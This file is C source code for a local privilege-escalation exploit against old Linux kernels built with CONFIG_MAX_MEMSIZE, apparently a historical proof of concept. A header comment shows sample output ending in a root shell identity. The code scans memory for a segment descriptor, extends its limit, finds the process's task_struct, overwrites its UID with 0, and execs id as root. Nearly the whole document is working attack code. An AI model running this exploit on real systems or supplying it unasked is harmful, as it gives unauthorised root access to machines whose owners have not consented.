/*

 The exploit (local root, can be extended
 to also reset securelevel; will only compile
 with libc 5, you'd have to rip task_struct out
 of <linux/sched.h> for compiling with glibc):

Its output, with CONFIG_MAX_MEMSIZE=1800 (the very first example
given in linux/Documentation/more-than-900MB-RAM.txt):

Searching for the descriptor... found at 0x8f9068ac
Extending its limit... done
Searching for task_struct... found at 0x9157d810
Patching the UID... done
uid=0(root) gid=0(root)

*/

#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>

void die1()
{
	puts("\nFailed: probably not vulnerable");
	exit(1);
}

void die2()
{
	puts("\nVulnerable, but failed to exploit");
	exit(1);
}

int main()
{
	int *sp = (int *)&sp;
	int *d = sp;
	struct task_struct *task = (struct task_struct *)sp;
	int pid, uid;
	struct rlimit old, new;

	setbuf(stdout, NULL);
	printf("Searching for the descriptor... ");

	signal(SIGSEGV, die1);

	while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
		(d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;

	signal(SIGSEGV, die2);

	printf("found at %p\nExtending its limit... ", d + 2);

	d[2] |= 0xF0000;

	printf("done\nSearching for task_struct... ");

	pid = getpid();
	uid = getuid();

	if (getrlimit(RLIMIT_FSIZE, &old)) {
		perror("getrlimit");
		return 1;
	}
search:
	new = old; new.rlim_cur--;
	if (setrlimit(RLIMIT_FSIZE, &new))
		new.rlim_cur = old.rlim_cur;

	do {
		((int *)task)++;
	} while (task->pid != pid || task->uid != uid);

	if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;

	if (setrlimit(RLIMIT_FSIZE, &old)) {
		perror("setrlimit");
		return 1;
	}

	if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;

	printf("found at %p\nPatching the UID... ", task);

	task->uid = 0;
	setuid(0);
	setgid(0);
	setgroups(0, NULL);

	puts("done");

	execl("/usr/bin/id", "id", NULL);
	return 1;
}